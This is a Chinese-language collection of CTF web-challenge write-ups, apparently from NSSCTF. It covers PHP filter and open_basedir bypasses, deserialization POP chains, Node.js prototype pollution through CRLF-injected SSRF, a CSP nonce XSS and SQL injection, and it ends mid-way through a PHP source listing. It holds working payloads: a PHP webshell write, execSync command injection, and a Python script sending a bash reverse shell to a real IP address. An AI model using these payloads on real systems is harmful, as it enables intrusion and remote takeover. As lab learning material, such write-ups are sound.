1 7 7 0 61 31 31 0 61 13 13 0 61 31 31 0 61 37 37 0 61 37 37 0 61 7 7 0 61 30 30 0 61 53 53 0 61 6 6 0 61
传入php_mt_seed即可!
拿下种子!53788000
构造一下随机数
1 2 3 4 5 6 7 8 9 <?php mt_srand (53788000 );$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } echo $str ;
[SWPUCTF 2021 新生赛]hardrce_3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php header ("Content-Type:text/html;charset=utf-8" );error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['wllm' ])){ $wllm = $_GET ['wllm' ]; $blacklist = [' ' ,'\^' ,'\~' ,'\|' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $wllm )) { die ("小伙子只会异或和取反?不好意思哦LTLT说不能用!!" ); }} if (preg_match ('/[a-zA-Z0-9]/is' ,$wllm )){ die ("Ra'sAlGhul说用字母数字是没有灵魂的!" ); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?" ;eval ($wllm );} else { echo "蔡总说:注意审题!!!" ; } ?>
挺简单的,自增就行
1 2 http://node7.anna.nssctf.cn:29288/?wllm=%24%5F%3D%5B%5D%3B%24%5F%3D%40%22%24%5F%22%3B%24%5F%3D%24%5F%5B%27%21%27%3D%3D%27%40%27%5D%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%24%5F%5F%5F%5F%3B%24%5F%5F%5F%28%24%5F%5B%5F%5D%29%3B _=file_put_contents("1.php","<?php eval(\$_POST['cmd']);?>");
往1.php中写入一个一句话木马,当时system执行不了,看了下phpinfo()发现ban了好多函数,file_get_contents和file_put_contents还在,先写个方便点的后门然后看看。
1 cmd=file_put_contents('2.php',"<?php print_r(ini_get('open_basedir').'<br>');");
回显如下
被限制在/tmp目录下,接下来还是试试直接file_get_contents能不能获取到flag
不行,好烦啊这种disable function,直接哥斯拉!!!里面会自动绕过
牛逼哥斯拉!
这种方法也可以!
绕过open_basedir的方法!!!
1 cmd=file_put_contents('a.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
关键代码为
1 ini_set('open_basedir','..');
将限制设置为当前目录的父目录
经过三次chdir,自身变到了/var,但是此时open_basedir为其父目录,因此就是根目录,那么就拿下了!
[广东强网杯 2021 团队组]love_Pokemon 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting (0 );highlight_file (__FILE__ );$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } function DefenderBonus ($Pokemon ) { if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){ die ('catch broken Pokemon! mew-_-two' ); } else { return $Pokemon ; } } function ghostpokemon ($Pokemon ) { if (is_array ($Pokemon )){ foreach ($Pokemon as $key => $pks ) { $Pokemon [$key ] = DefenderBonus ($pks ); } } else { $Pokemon = DefenderBonus ($Pokemon ); } } switch ($_POST ['myfavorite' ] ?? "" ){ case 'picacu!' : echo md5 ('picacu!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'bulbasaur!' : echo md5 ('miaowa!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); $level = $_POST ["levelup" ] ?? "" ; if ((!preg_match ('/lv100/i' ,$level )) && (preg_match ('/lv100/i' ,escapeshellarg ($level )))){ echo file_get_contents ('./hint.php' ); } break ; case 'squirtle' : echo md5 ('jienijieni!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'mewtwo' : $dream = $_POST ["dream" ] ?? "" ; if (strlen ($dream )>=20 ){ die ("So Big Pokenmon!" ); } ghostpokemon ($dream ); echo shell_exec ($dream ); }
首先是关于escapeshellarg的考点。
escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)
那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串
那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)
读取到了hint.php
然后就是对/flag内容的读取了!
但是
1 if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){
过滤了一堆,先看绕过空格过滤
然后是读取的命令,过滤了太多啦!!od可以用!
中括号没有被过滤和-没有被过滤,可以用正则表达式绕过
1 2 3 4 5 6 7 8 9 10 dump = "0000000 051516 041523 043124 031573 034465 032544 062463 026467 0000020 032064 030543 032055 034460 026465 033071 031063 031455 0000040 063144 060467 031146 032545 063145 076471 000012 0000055" octs = [("0o" + n) for n in dump.split(" " ) if n] hexs = [int (n, 8 ) for n in octs] result = "" for n in hexs: if (len (hex (n)) > 4 ): swapped = hex (((n << 8 ) | (n >> 8 )) & 0xFFFF ) result += swapped[2 :].zfill(4 ) print (bytes .fromhex(result).decode())
od获得的结果是八进制字符串,这里给出解码脚本
NSSCTF{359d53e7-44c1-4095-9632-3df7af2e5ef9}
[西湖论剑 2022]Node Magical Login 给了源码,这道题主要看源码就行
main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 const express = require ("express" )const fs = require ("fs" )const cookieParser = require ("cookie-parser" );const controller = require ("./controller" )const app = express ();const PORT = Number (process.env .PORT ) || 80 const HOST = '0.0.0.0' app.use (express.urlencoded ({extended :false })) app.use (cookieParser ()) app.use (express.json ()) app.use (express.static ('static' )) app.post ("/login" ,(req,res ) => { controller.LoginController (req,res) }) app.get ("/" ,(res ) => { res.sendFile (__dirname,"static/index.html" ) }) app.get ("/flag1" ,(req,res ) => { controller.Flag1Controller (req,res) }) app.get ("/flag2" ,(req,res ) => { controller.CheckInternalController (req,res) }) app.post ("/getflag2" ,(req,res )=> { controller.CheckController (req,res) }) app.listen (PORT ,HOST ,() => { console .log (`Server is listening on Host ${HOST} Port ${PORT} .` ) })
controller.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 const fs = require ("fs" );const SECRET_COOKIE = process.env .SECRET_COOKIE || "this_is_testing_cookie" const flag1 = fs.readFileSync ("/flag1" )const flag2 = fs.readFileSync ("/flag2" )function LoginController (req,res ) { try { const username = req.body .username const password = req.body .password if (username !== "admin" || password !== Math .random ().toString ()) { res.status (401 ).type ("text/html" ).send ("Login Failed" ) } else { res.cookie ("user" ,SECRET_COOKIE ) res.redirect ("/flag1" ) } } catch (__) {} } function CheckInternalController (req,res ) { res.sendFile ("check.html" ,{root :"static" }) } function CheckController (req,res ) { let checkcode = req.body .checkcode ?req.body .checkcode :1234 ; console .log (req.body ) if (checkcode.length === 16 ){ try { checkcode = checkcode.toLowerCase () if (checkcode !== "aGr5AtSp55dRacer" ){ res.status (403 ).json ({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status (200 ).type ("text/html" ).json ({"msg" :"You Got Another Part Of Flag: " + flag2.toString ().trim ()}) }else { res.status (403 ).type ("text/html" ).json ({"msg" :"Invalid Checkcode2:" + checkcode}) } } function Flag1Controller (req,res ){ try { if (req.cookies .user === SECRET_COOKIE ){ res.setHeader ("This_Is_The_Flag1" ,flag1.toString ().trim ()) res.setHeader ("This_Is_The_Flag2" ,flag2.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("Login success. Welcome,admin!" ) } if (req.cookies .user === "admin" ) { res.setHeader ("This_Is_The_Flag1" , flag1.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("You Got One Part Of Flag! Try To Get Another Part of Flag!" ) }else { res.status (401 ).type ("text/html" ).send ("Unauthorized" ) } }catch (__) {} } module .exports = { LoginController , CheckInternalController , Flag1Controller , CheckController }
简单,先看flag1,加一个cookie就行
重点是flag2,需要绕过toLowerCase(),传入一个json值,要求转小写后为aGr5AtSp55dRacer,可以通过json形式传入数组来绕过,老老实实传入字符串是不可能的。
简单。
[西湖论剑 2022]real_ez_node 关键源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 var express = require ('express' );var http = require ('http' );var router = express.Router ();const safeobj = require ('safe-obj' );router.get ('/' ,(req,res )=> { if (req.query .q ) { console .log ('get q' ); } res.render ('index' ); }) router.post ('/copy' ,(req,res )=> { res.setHeader ('Content-type' ,'text/html;charset=utf-8' ) var ip = req.connection .remoteAddress ; console .log (ip); var obj = { msg : '' , } if (!ip.includes ('127.0.0.1' )) { obj.msg ="only for admin" res.send (JSON .stringify (obj)); return } let user = {}; for (let index in req.body ) { if (!index.includes ("__proto__" )){ safeobj.expand (user, index, req.body [index]) } } res.render ('index' ); }) router.get ('/curl' , function (req, res ) { var q = req.query .q ; var resp = "" ; if (q) { var url = 'http://localhost:3000/?q=' + q try { http.get (url,(res1 )=> { const { statusCode } = res1; const contentType = res1.headers ['content-type' ]; let error; if (statusCode !== 200 ) { error = new Error ('Request Failed.\n' + `Status Code: ${statusCode} ` ); } if (error) { console .error (error.message ); res1.resume (); return ; } res1.setEncoding ('utf8' ); let rawData = '' ; res1.on ('data' , (chunk ) => { rawData += chunk; res.end ('request success' ) }); res1.on ('end' , () => { try { const parsedData = JSON .parse (rawData); res.end (parsedData+'' ); } catch (e) { res.end (e.message +'' ); } }); }).on ('error' , (e ) => { res.end (`Got error: ${e.message} ` ); }) res.end ('ok' ); } catch (error) { res.end (error+'' ); } } else { res.send ("search param 'q' missing!" ); } }) module .exports = router;
此处给出了各种版本,发现存在ejs模板引擎的JavaScript原型链污染。
我们发现/copy路由下会对var ip = req.connection.remoteAddress;
ip值进行判断,需要为127.0.0.1,这不是通过XFF等就能改变的,我们继续往下审代码。发现/curl路由处存在ssrf,那么我们是不是就能通过对/curl路由的操作,让他以自己的身份去/copy路由从而触发js原型链污染呢?!
/curl路由下存在http.get
方法,可以造成CRLF Injection
那么,我们只需要构造污染请求包,通过ejs模板引擎污染来实现RCE!!
完美了!
1 {"constructor.prototype":{"constructor.prototype":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
关键代码如上,过滤了__proto__
同时说明了污染的存在。
同时,这里发现如果键名里面存在 .
才会继续调用 _safe.expand
,相当于递归merge的操作
1 {"constructor.prototype.outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\"'); __tmp2"}
接下来构造CRLF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import urllib.parseimport requestspayload = '''HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 190 {"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('/bin/bash -c \\"/bin/bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\\"');var __tmp2"} GET /''' payload = payload.replace(' ' , '\u0120' ).replace('\n' , '\u010d\u010a' ).replace('{' , '\u017b' ).replace( '}' , '\u017d' ).replace('"' , '\u0122' ).replace('\'' , '\u0127' ).replace('>' , '\u013e' ).replace('\\' , '\u015c' ) payload = urllib.parse.quote(payload) print (payload)url = "http://node4.anna.nssctf.cn:28958/curl?q=" requests.get(url+payload)
当时在污染payload处卡了很久!!不知道为啥就是弹不了shell,这个可以弹!
1 {"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('/bin/bash -c \\"/bin/bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\\"');var __tmp2"}
主要思路就是在curl路由下通过CRLF攻击来构造恶意数据包来实现SSRF,用127.0.0.1去访问/copy路由,造成ejs模板引擎的污染从而实现RCE!
[UUCTF 2022 新生赛]ezpop 虽然是新生赛,但还可以。有点小综合。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting (0 );class UUCTF { public $name ,$key ,$basedata ,$ob ; function __construct ($str ) { $this ->name=$str ; } function __wakeup ( ) { if ($this ->key==="UUCTF" ){ $this ->ob=unserialize (base64_decode ($this ->basedata)); } else { die ("oh!you should learn PHP unserialize String escape!" ); } } } class output { public $a ; function __toString ( ) { $this ->a->rce (); } } class nothing { public $a ; public $b ; public $t ; function __wakeup ( ) { $this ->a="" ; } function __destruct ( ) { $this ->b=$this ->t; die ($this ->a); } } class youwant { public $cmd ; function rce ( ) { eval ($this ->cmd); } } $pdata =$_POST ["data" ];if (isset ($pdata )){ $data =serialize (new UUCTF ($pdata )); $data_replace =str_replace ("hacker" ,"loveuu!" ,$data ); unserialize ($data_replace ); }else { highlight_file (__FILE__ ); } ?>
这道的思路很简单,传入的是$pdata,他直接在源码里new了,只有name是我们可控的,同时我们发现后面又有replace!可以进行字符串逃逸了!!那就很简单了,把$key,$basedata逃逸出来改值就可以!
1 ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} 53
这里给出payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php class UUCTF { public $name ,$key ,$basedata ,$ob ; function __construct ($str ) { $this ->name=$str ; } function __wakeup ( ) { if ($this ->key==="UUCTF" ){ $this ->ob=unserialize (base64_decode ($this ->basedata)); } else { die ("oh!you should learn PHP unserialize String escape!" ); } } } class output { public $a ; function __toString ( ) { $this ->a->rce (); } } class nothing { public $a ; public $b ; public $t ; function __wakeup ( ) { $this ->a="" ; } function __destruct ( ) { $this ->b=$this ->t; die ($this ->a); } } class youwant { public $cmd ="system('tac flag.php');" ; function rce ( ) { eval ($this ->cmd); } } $pdata ='1' ;$data =serialize (new UUCTF ($pdata ));echo $data ;echo "\n" ;$data_replace =str_replace ("hacker" ,"loveuu!" ,$data );echo $data_replace ;echo "\n" ;$out =new output ();$youwant =new youwant ();$nothing =new nothing ();$out ->a=$youwant ;$nothing ->t=$out ;$nothing ->a=&$nothing ->b;echo serialize ($nothing );
UUCTF中的__wakeup()中也有一个unserialize(),传参basedata,这里的pop链在上面也有了,要注意的一点就是nothing中的__wakeup()和__unserialize(),这里的wakeup会清空a属性的值,同时我们发现php版本又不符合那个cve,我们又发现destruct中有对b属性的赋值,那么我们通过引用赋值将ab联合起来。这样问题就迎刃而解了。
[LitCTF 2023]Http pro max plus 关于http协议的题,有一点小盲点
1 curl http://node1.anna.nssctf.cn:28246/ -H “client-ip:127.0.0.1” -H “Referer:pornhub.com” -H “User-Agent:Chrome” -H “Via:Clash.win”
[AFCTF 2021]BABY_CSP 存在CSP策略,需要绕过,抓包看看
1 Content-Security-Policy: default-src 'none';script-src 'nonce-29de6fde0db5686d'
关键点如上,允许nonce-29de6fde0db5686d
那么构造payload
1 http://node4.anna.nssctf.cn:28378/?school=<script nonce="29de6fde0db5686d">alert(flag)</script>
1 NSSCTF{b4f323f4-020d-4821-bc1a-efd73ce09f89}
[极客大挑战 2020]greatphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); } ?>
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } $a =new SYCLOVER ();$str =~("/flag" );$x =new Error ("?><?=include ~" .$str .";?>" ,1 );$y =new Error ("?><?=include ~" .$str .";?>" ,2 );$a ->syc=$x ;$a ->lover=$y ;echo urlencode (serialize ($a ));
不知道为啥不能`whoami`这样输出,奇怪
那就只能include了,但是引号被过滤,两次取反来绕过。
[NSSRound#1 Basic]sql_by_sql 二次注入加sqlite注入,不是很熟悉
二次注入的步骤,先注册一个admin’–+进去,发现有个修改密码,修改密码处将admin’–+放进去,那么改的就是admin的密码,直接拿下admin,进去sqlite注入就行,这里用python脚本或者sqlmap都是可以的!
[GFCTF 2021]ez_calc f12网页源码这种存在这样的代码
1 2 3 if (req.body .username .toLowerCase () !== 'admin' && req.body .username .toUpperCase () === 'ADMIN' && req.body .passwd === 'admin123' ){ }
这里需要注意一点,ctrl+u或者右键查看网页源代码是看不到这段的。
这里采用nodejs的大小写特性来绕过,nodejs笔记里有
登陆进去后是一个calc界面,同样f12查看源代码获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 let calc = req.body .calc ;let flag = false ;for (let i = 0 ; i < calc.length ; i++) { if (flag || "/(flc'\"." .split `` .some (v => v == calc[i])) { flag = true ; calc = calc.slice (0 , i) + "*" + calc.slice (i + 1 , calc.length ); } } calc = calc.substring (0 , 64 ); calc = calc.replace (/\s+/g , "" ); calc = calc.replace (/\\/g , "\\\\" ); while (calc.indexOf ("sh" ) > -1 ) { calc = calc.replace ("sh" , "" ); } while (calc.indexOf ("ln" ) > -1 ) { calc = calc.replace ("ln" , "" ); } while (calc.indexOf ("fs" ) > -1 ) { calc = calc.replace ("fs" , "" ); } while (calc.indexOf ("x" ) > -1 ) { calc = calc.replace ("x" , "" ); } try { result = eval (calc); }
这里可以调试一下,方便看!
我们发现是可以逃逸出来的,因为取的calc[i]是大于一位的,而.split出来只有一位,所以是不相等的。可以利用此处的漏洞来进行逃逸。
让这个单独的一位在很后面就行,大于要逃逸的字符串的长度即可。
这里本来想直接cat /xxxxxx.flag,但是存在长度限制,失败。
1 calc = calc.substring (0 , 64 );
想办法,这里用星号不可以
同时过滤了x,不能用exec,但是这可以绕过!
这里本来想着用十六进制绕过,但是不可以,实测
我想可能是因为已经在for循环中被解析出来了,就已经是x了,而对x的检测再最后,所以没法绕过
但是还有一种方法。因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了。
1 calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
1 calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();
以上由于长度限制,因此只能通过写文件和读文件分离来获取flag了!
[CISCN 2019华北Day1]Web1 打开后是一个注册+登录界面,遇到这种情况一般都是先注册再登陆进去的,接下来可能有权限的提升等等。
进去后发现三个功能点。
我们发现下载文件处存在任意文件读取!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
发现存在一个class.php文件,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) 